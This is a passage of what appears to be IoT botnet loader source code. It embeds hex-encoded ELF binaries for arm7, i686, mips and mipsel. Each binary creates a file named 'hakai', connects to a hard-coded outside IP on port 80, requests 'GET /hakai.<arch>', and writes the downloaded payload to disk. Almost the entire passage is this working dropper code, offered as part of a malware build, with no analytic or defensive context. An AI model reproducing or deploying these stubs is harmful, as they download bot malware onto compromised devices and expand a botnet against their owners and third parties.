x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x62\x73\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x74\x80\x00\x00\x74\x00\x00\x00\x14\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x00\x00\x00\x88\x82\x00\x00\x88\x02\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\xac\x02\x01\x00\xac\x02\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xac\x02\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00", 916,
  871. // arm7
  872. BIT_32, ENDIAN_LITTLE, EM_ARM + 1, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\x00\x00\x84\x81\x00\x00\x34\x00\x00\x00\x50\x03\x00\x00\x02\x00\x00\x04\x34\x00\x20\x00\x04\x00\x28\x00\x07\x00\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\xf8\x02\x00\x00\xf8\x02\x00\x00\x05\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00\xf8\x02\x00\x00\xf8\x02\x01\x00\xf8\x02\x01\x00\x10\x00\x00\x00\x10\x00\x00\x00\x06\x00\x00\x00\x00\x80\x00\x00\x07\x00\x00\x00\xf8\x02\x00\x00\xf8\x02\x01\x00\xf8\x02\x01\x00\x00\x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x51\xe5\x74\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xe0\x2d\xe5\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x01\x00\xa0\xe3\x62\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x06\x00\xa0\xe3\x5a\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x01\xc0\xa0\xe1\x02\x30\xa0\xe1\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x0c\x20\xa0\xe1\x05\x00\xa0\xe3\x4f\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x01\xc0\xa0\xe1\x02\x30\xa0\xe1\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x0c\x20\xa0\xe1\x04\x00\xa0\xe3\x44\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x01\xc0\xa0\xe1\x02\x30\xa0\xe1\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x0c\x20\xa0\xe1\x03\x00\xa0\xe3\x39\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\xf0\x40\x2d\xe9\xb4\x10\x9f\xe5\x8c\xd0\x4d\xe2\xb0\x20\x9f\xe5\xb0\x00\x9f\xe5\xd8\xff\xff\xeb\xac\x10\x9f\xe5\x00\x50\xa0\xe1\x1c\x20\xa0\xe3\x04\x00\xa0\xe1\xde\xff\xff\xeb\x1c\x00\x50\xe3\x03\x00\xa0\x13\xc0\xff\xff\x1b\x90\x70\x9f\xe5\x00\x40\xa0\xe3\x87\x60\x8d\xe2\x06\x10\xa0\xe1\x01\x20\xa0\xe3\x04\x00\xa0\xe1\xdf\xff\xff\xeb\x01\x00\x50\xe3\x04\x00\xa0\xe3\xb6\xff\xff\x1b\x87\x30\xdd\xe5\x04\x44\x83\xe1\x07\x00\x54\xe1\xf4\xff\xff\x1a\x07\x40\x8d\xe2\x04\x10\xa0\xe1\x80\x20\xa0\xe3\x04\x00\xa0\xe1\xd3\xff\xff\xeb\x00\x20\x50\xe2\x04\x10\xa0\xe1\x05\x00\xa0\xe1\x01\x00\x00\xda\xc3\xff\xff\xeb\xf5\xff\xff\xea\x04\x00\xa0\xe1\xad\xff\xff\xeb\x05\x00\xa0\xe1\xab\xff\xff\xeb\x03\x00\xa0\xe3\xa1\xff\xff\xeb\x8c\xd0\x8d\xe2\xf0\x40\xbd\xe8\x1e\xff\x2f\xe1\x41\x02\x00\x00\xff\x01\x00\x00\xd0\x82\x00\x00\xd8\x82\x00\x00\x0a\x0d\x0a\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x0d\xc0\xa0\xe1\xf0\x00\x2d\xe9\x00\x70\xa0\xe1\x01\x00\xa0\xe1\x02\x10\xa0\xe1\x03\x20\xa0\xe1\x78\x00\x9c\xe8\x00\x00\x00\xef\xf0\x00\xbd\xe8\x01\x0a\x70\xe3\x0e\xf0\xa0\x31\xff\xff\xff\xea\x04\xe0\x2d\xe5\x1c\x20\x9f\xe5\x00\x30\xa0\xe1\x02\x20\x9f\xe7\x06\x00\x00\xeb\x00\x30\x63\xe2\x02\x30\x80\xe7\x00\x00\xe0\xe3\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x60\x80\x00\x00\x00\x00\x00\x00\x0f\x0a\xe0\xe3\x1f\xf0\x40\xe2\x00\x00\xa0\xe1\x00\x00\xa0\xe1\x68\x61\x6b\x61\x69\x00\x00\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x61\x72\x6d\x37\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x13\x00\x00\x00\x61\x65\x61\x62\x69\x00\x01\x09\x00\x00\x00\x06\x02\x08\x01\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x74\x62\x73\x73\x00\x2e\x67\x6f\x74\x00\x2e\x41\x52\x4d\x2e\x61\x74\x74\x72\x69\x62\x75\x74\x65\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\xc0\x80\x00\x00\xc0\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x00\x00\x00\xd0\x82\x00\x00\xd0\x02\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x04\x00\x00\xf8\x02\x01\x00\xf8\x02\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\xf8\x02\x01\x00\xf8\x02\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x24\x00\x00\x00\x03\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\x08\x03\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x03\x00\x00\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00", 1128,
  873. // i686
  874. BIT_32, ENDIAN_LITTLE, EM_386, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\x51\x81\x04\x08\x34\x00\x00\x00\xe0\x02\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x05\x00\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xbf\x02\x00\x00\xbf\x02\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xc0\x02\x00\x00\xc0\x92\x04\x08\xc0\x92\x04\x08\x00\x00\x00\x00\x04\x00\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x51\xe5\x74\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x55\x89\xe5\x83\xec\x10\xff\x75\x08\x6a\x01\xe8\xac\x01\x00\x00\x83\xc4\x10\xc9\xc3\x55\x89\xe5\x83\xec\x10\xff\x75\x08\x6a\x06\xe8\x97\x01\x00\x00\xc9\xc3\x55\x89\xe5\x83\xec\x08\xff\x75\x10\xff\x75\x0c\xff\x75\x08\x6a\x05\xe8\x7f\x01\x00\x00\xc9\xc3\x55\x89\xe5\x83\xec\x1c\x8b\x45\x08\x89\x45\xf4\x8b\x45\x0c\x89\x45\xf8\x8b\x45\x10\x89\x45\xfc\x8d\x45\xf4\x50\x6a\x03\x6a\x66\xe8\x58\x01\x00\x00\xc9\xc3\x55\x89\xe5\x83\xec\x08\xff\x75\x10\xff\x75\x0c\xff\x75\x08\x6a\x04\xe8\x40\x01\x00\x00\xc9\xc3\x55\x89\xe5\x83\xec\x08\xff\x75\x10\xff\x75\x0c\xff\x75\x08\x6a\x03\xe8\x28\x01\x00\x00\xc9\xc3\x55\x89\xe5\x83\xec\x1c\x8b\x45\x08\x89\x45\xf4\x8b\x45\x0c\x89\x45\xf8\x8b\x45\x10\x89\x45\xfc\x8d\x45\xf4\x50\x6a\x01\x6a\x66\xe8\x01\x01\x00\x00\xc9\xc3\x55\x89\xe5\x57\x56\x53\x81\xec\xb0\x00\x00\x00\x66\xc7\x45\xe0\x02\x00\x66\xc7\x45\xe2\x00\x50\xc7\x45\xe4\xb2\x80\xb9\xfa\x68\xff\x01\x00\x00\x68\x41\x02\x00\x00\x68\x9d\x82\x04\x08\xe8\x37\xff\xff\xff\x83\xc4\x0c\x89\xc7\x6a\x00\x6a\x01\x6a\x02\xe8\x96\xff\xff\xff\x83\xc4\x0c\x89\xc6\x8d\x45\xe0\x6a\x10\x50\x56\xe8\x2e\xff\xff\xff\x83\xc4\x0c\x6a\x1b\x68\xa3\x82\x04\x08\x56\xe8\x45\xff\xff\xff\x83\xc4\x10\x83\xf8\x1b\x74\x0d\x83\xec\x0c\x6a\x03\xe8\xcd\xfe\xff\xff\x83\xc4\x10\x31\xdb\x50\x8d\x45\xf3\x6a\x01\x50\x56\xe8\x39\xff\xff\xff\x83\xc4\x10\x48\x74\x0d\x83\xec\x0c\x6a\x04\xe8\xab\xfe\xff\xff\x83\xc4\x10\x0f\xbe\x45\xf3\xc1\xe3\x08\x09\xc3\x81\xfb\x0a\x0d\x0a\x0d\x75\xcf\x8d\x9d\x60\xff\xff\xff\x51\x68\x80\x00\x00\x00\x53\x56\xe8\x02\xff\xff\xff\x83\xc4\x10\x85\xc0\x7e\x0e\x52\x50\x53\x57\xe8\xda\xfe\xff\xff\x83\xc4\x10\xeb\xd8\x83\xec\x0c\x56\xe8\x7b\xfe\xff\xff\x89\x3c\x24\xe8\x73\xfe\xff\xff\xc7\x04\x24\x03\x00\x00\x00\xe8\x52\xfe\xff\xff\x83\xc4\x10\x8d\x65\xf4\x5b\x5e\x5f\x5d\xc3\x90\x90\x90\x55\x57\x56\x53\x8b\x6c\x24\x2c\x8b\x7c\x24\x28\x8b\x74\x24\x24\x8b\x54\x24\x20\x8b\x4c\x24\x1c\x8b\x5c\x24\x18\x8b\x44\x24\x14\xcd\x80\x5b\x5e\x5f\x5d\x3d\x01\xf0\xff\xff\x0f\x83\x01\x00\x00\x00\xc3\x83\xec\x0c\x89\xc2\xf7\xda\xe8\x09\x00\x00\x00\x89\x10\x83\xc8\xff\x83\xc4\x0c\xc3\xb8\xc0\x92\x04\x08\xc3\x68\x61\x6b\x61\x69\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x78\x38\x36\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x62\x73\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x94\x80\x04\x08\x94\x00\x00\x00\x09\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x00\x00\x00\x9d\x82\x04\x08\x9d\x02\x00\x00\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\xc0\x92\x04\x08\xc0\x02\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x02\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00", 936,
  875. // mips
  876. BIT_32, ENDIAN_BIG, EM_MIPS, "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x01\xe8\x00\x00\x00\x34\x00\x00\x05\x3c\x00\x00\x10\x07\x00\x34\x00\x20\x00\x03\x00\x28\x00\x07\x00\x06\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x04\xb8\x00\x00\x04\xb8\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x04\xc0\x00\x44\x04\xc0\x00\x44\x04\xc0\x00\x00\x00\x48\x00\x00\x00\x60\x00\x00\x00\x06\x00\x01\x00\x00\x64\x74\xe5\x51\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x1c\x00\x05\x27\x9c\x84\x10\x03\x99\xe0\x21\x8f\x99\x80\x50\x00\x80\x28\x21\x03\x20\x00\x08\x24\x04\x0f\xa1\x3c\x1c\x00\x05\x27\x9c\x83\xf4\x03\x99\xe0\x21\x8f\x99\x80\x50\x00\x80\x28\x21\x03\x20\x00\x08\x24\x04\x0f\xa6\x3c\x1c\x00\x05\x27\x9c\x83\xd8\x03\x99\xe0\x21\x00\xa0\x10\x21\x8f\x99\x80\x50\x00\xc0\x38\x21\x00\x80\x28\x21\x00\x40\x30\x21\x03\x20\x00\x08\x24\x04\x0f\xa5\x3c\x1c\x00\x05\x27\x9c\x83\xb0\x03\x99\xe0\x21\x27\xbd\xff\xd0\xaf\xbf\x00\x28\xaf\xbc\x00\x10\x8f\x99\x80\x50\xaf\xa4\x00\x18\xaf\xa5\x00\x1c\xaf\xa6\x00\x20\x24\x04\x10\x06\x27\xa6\x00\x18\x03\x20\xf8\x09\x24\x05\x00\x03\x8f\xbc\x00\x10\x8f\xbf\x00\x28\x00\x00\x00\x00\x03\xe0\x00\x08\x27\xbd\x00\x30\x3c\x1c\x00\x05\x27\x9c\x83\x64\x03\x99\xe0\x21\x00\xa0\x10\x21\x8f\x99\x80\x50\x00\xc0\x38\x21\x00\x80\x28\x21\x00\x40\x30\x21\x03\x20\x00\x08\x24\x04\x0f\xa4\x3c\x1c\x00\x05\x27\x9c\x83\x3c\x03\x99\xe0\x21\x00\xa0\x10\x21\x8f\x99\x80\x50\x00\xc0\x38\x21\x00\x80\x28\x21\x00\x40\x30\x21\x03\x20\x00\x08\x24\x04\x0f\xa3\x3c\x1c\x00\x05\x27\x9c\x83\x14\x03\x99\xe0\x21\x27\xbd\xff\xd0\xaf\xbf\x00\x28\xaf\xbc\x00\x10\x8f\x99\x80\x50\xaf\xa4\x00\x18\xaf\xa5\x00\x1c\xaf\xa6\x00\x20\x24\x04\x10\x06\x27\xa6\x00\x18\x03\x20\xf8\x09\x24\x05\x00\x01\x8f\xbc\x00\x10\x8f\xbf\x00\x28\x00\x00\x00\x00\x03\xe0\x00\x08\x27\xbd\x00\x30\x3c\x1c\x00\x05\x27\x9c\x82\xc8\x03\x99\xe0\x21\x27\xbd\xff\x40\xaf\xbf\x00\xbc\xaf\xb2\x00\xb8\xaf\xb1\x00\xb4\xaf\xb0\x00\xb0\xaf\xbc\x00\x10\x24\x02\x00\x02\xa7\xa2\x00\x1c\x24\x02\x00\x50\x8f\x84\x80\x18\xa7\xa2\x00\x1e\x3c\x02\xb2\x80\x8f\x99\x80\x54\x34\x42\xb9\xfa\x24\x84\x04\x90\x24\x05\x03\x01\x24\x06\x01\xff\x03\x20\xf8\x09\xaf\xa2\x00\x20\x8f\xbc\x00\x10\x24\x05\x00\x02\x8f\x99\x80\x44\x00\x00\x30\x21\x24\x04\x00\x02\x03\x20\xf8\x09\x00\x40\x90\x21\x8f\xbc\x00\x10\x00\x40\x20\x21\x8f\x99\x80\x3c\x27\xa5\x00\x1c\x24\x06\x00\x10\x03\x20\xf8\x09\x00\x40\x88\x21\x8f\xbc\x00\x10\x02\x20\x20\x21\x8f\x85\x80\x18\x8f\x99\x80\x40\x24\xa5\x04\x98\x03\x20\xf8\x09\x24\x06\x00\x1c\x24\x03\x00\x1c\x8f\xbc\x00\x10\x10\x43\x00\x07\x00\x00\x80\x21\x8f\x99\x80\x48\x00\x00\x00\x00\x03\x20\xf8\x09\x24\x04\x00\x03\x8f\xbc\x00\x10\x00\x00\x80\x21\x8f\x99\x80\x34\x02\x20\x20\x21\x27\xa5\x00\x18\x03\x20\xf8\x09\x24\x06\x00\x01\x8f\xbc\x00\x10\x24\x03\x00\x01\x8f\x99\x80\x48\x10\x43\x00\x04\x24\x04\x00\x04\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x10\x83\xa3\x00\x18\x00\x10\x12\x00\x00\x43\x80\x25\x3c\x02\x0d\x0a\x34\x42\x0d\x0a\x16\x02\xff\xed\x00\x00\x00\x00\x8f\x99\x80\x34\x27\xb0\x00\x2c\x02\x20\x20\x21\x02\x00\x28\x21\x03\x20\xf8\x09\x24\x06\x00\x80\x8f\xbc\x00\x10\x02\x00\x28\x21\x8f\x99\x80\x40\x00\x40\x30\x21\x18\x40\x00\x06\x02\x40\x20\x21\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x10\x10\x00\xff\xf0\x00\x00\x00\x00\x8f\x99\x80\x4c\x00\x00\x00\x00\x03\x20\xf8\x09\x02\x20\x20\x21\x8f\xbc\x00\x10\x00\x00\x00\x00\x8f\x99\x80\x4c\x00\x00\x00\x00\x03\x20\xf8\x09\x02\x40\x20\x21\x8f\xbc\x00\x10\x00\x00\x00\x00\x8f\x99\x80\x48\x00\x00\x00\x00\x03\x20\xf8\x09\x24\x04\x00\x03\x8f\xbc\x00\x10\x8f\xbf\x00\xbc\x8f\xb2\x00\xb8\x8f\xb1\x00\xb4\x8f\xb0\x00\xb0\x03\xe0\x00\x08\x27\xbd\x00\xc0\x00\x00\x00\x00\x3c\x1c\x00\x05\x27\x9c\x81\x00\x03\x99\xe0\x21\x00\x80\x10\x21\x00\xa0\x20\x21\x00\xc0\x28\x21\x00\xe0\x30\x21\x8f\xa7\x00\x10\x8f\xa8\x00\x14\x8f\xa9\x00\x18\x8f\xaa\x00\x1c\x27\xbd\xff\xe0\xaf\xa8\x00\x10\xaf\xa9\x00\x14\xaf\xaa\x00\x18\xaf\xa2\x00\x1c\x8f\xa2\x00\x1c\x00\x00\x00\x0c\x14\xe0\x00\x03\x27\xbd\x00\x20\x03\xe0\x00\x08\x00\x00\x00\x00\x00\x40\x20\x21\x8f\x99\x80\x38\x00\x00\x00\x00\x03\x20\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x1c\x00\x05\x27\x9c\x80\x90\x03\x99\xe0\x21\x27\xbd\xff\xe0\xaf\xbf\x00\x1c\xaf\xb0\x00\x18\xaf\xbc\x00\x10\x8f\x99\x80\x30\x00\x00\x00\x00\x03\x20\xf8\x09\x00\x80\x80\x21\x8f\xbc\x00\x10\xac\x50\x00\x00\x8f\xbf\x00\x1c\x8f\xb0\x00\x18\x24\x02\xff\xff\x03\xe0\x00\x08\x27\xbd\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x1c\x00\x05\x27\x9c\x80\x40\x03\x99\xe0\x21\x8f\x82\x80\x2c\x03\xe0\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x61\x6b\x61\x69\x00\x00\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x6d\x69\x70\x73\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x05\x10\x00\x40\x04\x70\x00\x40\x01\x74\x00\x40\x04\x20\x00\x40\x01\x00\x00\x40\x01\x4c\x00\x40\x01\x9c\x00\x40\x00\xa0\x00\x40\x00\xbc\x00\x40\x03\xb0\x00\x40\x00\xd8\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x67\x6f\x74\x00\x2e\x62\x73\x73\x00\x2e\x6d\x64\x65\x62\x75\x67\x2e\x61\x62\x69\x33\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x40\x00\xa0\x00\x00\x00\xa0\x00\x00\x03\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x00\x40\x04\x90\x00\x00\x04\x90\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x01\x10\x00\x00\x03\x00\x44\x04\xc0\x00\x00\x04\xc0\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x03\x00\x44\x05\x10\x00\x00\x05\x08\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x23\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x48\x00\x00\x05\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x08\x00\x00\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00", 1620,
  877. // mipsel
  878. BIT_32, ENDIAN_LITTLE, EM_MIPS, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x01\x00\x00\x00\xe8\x01\x40\x00\x34\x00\x00\x00\x3c\x05\x00\x00\x07\x10\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x07\x00\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x40\x00\xb8\x04\x00\x00\xb8\x04\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\xc0\x04\x00\x00\xc0\x04\x44\x00\xc0\x04\x44\x00\x48\x00\x00\x00\x60\x00\x00\x00\x06\x00\x00\x00\x00\x00\x01\x00\x51\xe5\x74\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x1c\x3c\x10\x84\x9c\x27\x21\xe0\x99\x03\x50\x80\x99\x8f\x21\x28\x80\x00\x08\x00\x20\x03\xa1\x0f\x04\x24\x05\x00\x1c\x3c\xf4\x83\x9c\x27\x21\xe0\x99\x03\x50\x80\x99\x8f\x21\x28\x80\x00\x08\x00\x20\x03\xa6\x0f\x04\x24\x05\x00\x1c\x3c\xd8\x83\x9c\x27\x21\xe0\x99\x03\x21\x10\xa0\x00\x50\x80\x99\x8f\x21\x38\xc0\x00\x21\x28\x80\x00\x21\x30\x40\x00\x08\x00\x20\x03\xa5\x0f\x04\x24\x05\x00\x1c\x3c\xb0\x83\x9c\x27\x21\xe0\x99\x03\xd0\xff\xbd\x27\x28\x00\xbf\xaf\x10\x00\xbc\xaf\x50\x80\x99\x8f\x18\x00\xa4\xaf\x1c\x00\xa5\xaf\x20\x00\xa6\xaf\x06\x10\x04\x24\x18\x00\xa6\x27\x09\xf8\x20\x03\x03\x00\x05\x24\x10\x00\xbc\x8f\x28\x00\xbf\x8f\x00\x00\x00\x00\x08\x00\xe0\x03\x30\x00\xbd\x27\x05\x00\x1c\x3c\x64\x83\x9c\x27\x21\xe0\x99\x03\x21\x10\xa0\x00\x50\x80\x99\x8f\x21\x38\xc0\x00\x21\x28\x80\x00\x21\x30\x40\x00\x08\x00\x20\x03\xa4\x0f\x04\x24\x05\x00\x1c\x3c\x3c\x83\x9c\x27\x21\xe0\x99\x03\x21\x10\xa0\x00\x50\x80\x99\x8f\x21\x38\xc0\x00\x21\x28\x80\x00\x21\x30\x40\x00\x08\x00\x20\x03\xa3\x0f\x04\x24\x05\x00\x1c\x3c\x14\x83\x9c\x27\x21\xe0\x99\x03\xd0\xff\xbd\x27\x28\x00\xbf\xaf\x10\x00\xbc\xaf\x50\x80\x99\x8f\x18\x00\xa4\xaf\x1c\x00\xa5\xaf\x20\x00\xa6\xaf\x06\x10\x04\x24\x18\x00\xa6\x27\x09\xf8\x20\x03\x01\x00\x05\x24\x10\x00\xbc\x8f\x28\x00\xbf\x8f\x00\x00\x00\x00\x08\x00\xe0\x03\x30\x00\xbd\x27\x05\x00\x1c\x3c\xc8\x82\x9c\x27\x21\xe0\x99\x03\x40\xff\xbd\x27\xbc\x00\xbf\xaf\xb8\x00\xb2\xaf\xb4\x00\xb1\xaf\xb0\x00\xb0\xaf\x10\x00\xbc\xaf\x02\x00\x02\x24\x1c\x00\xa2\xa7\x00\x50\x02\x24\x18\x80\x84\x8f\x1e\x00\xa2\xa7\xb9\xfa\x02\x3c\x54\x80\x99\x8f\xb2\x80\x42\x34\x90\x04\x84\x24\x01\x03\x05\x24\xff\x01\x06\x24\x09\xf8\x20\x03\x20\x00\xa2\xaf\x10\x00\xbc\x8f\x02\x00\x05\x24\x44\x80\x99\x8f\x21\x30\x00\x00\x02\x00\x04\x24\x09\xf8\x20\x03\x21\x90\x40\x00\x10\x00\xbc\x8f\x21\x20\x40\x00\x3c\x80\x99\x8f\x1c\x00\xa5\x27\x10\x00\x06\x24\x09\xf8\x20\x03\x21\x88\x40\x00\x10\x00\xbc\x8f\x21\x20\x20\x02\x18\x80\x85\x8f\x40\x80\x99\x8f\x98\x04\xa5\x24\x09\xf8\x20\x03\x1c\x00\x06\x24\x1c\x00\x03\x24\x10\x00\xbc\x8f\x07\x00\x43\x10\x21\x80\x00\x00\x48\x80\x99\x8f\x00\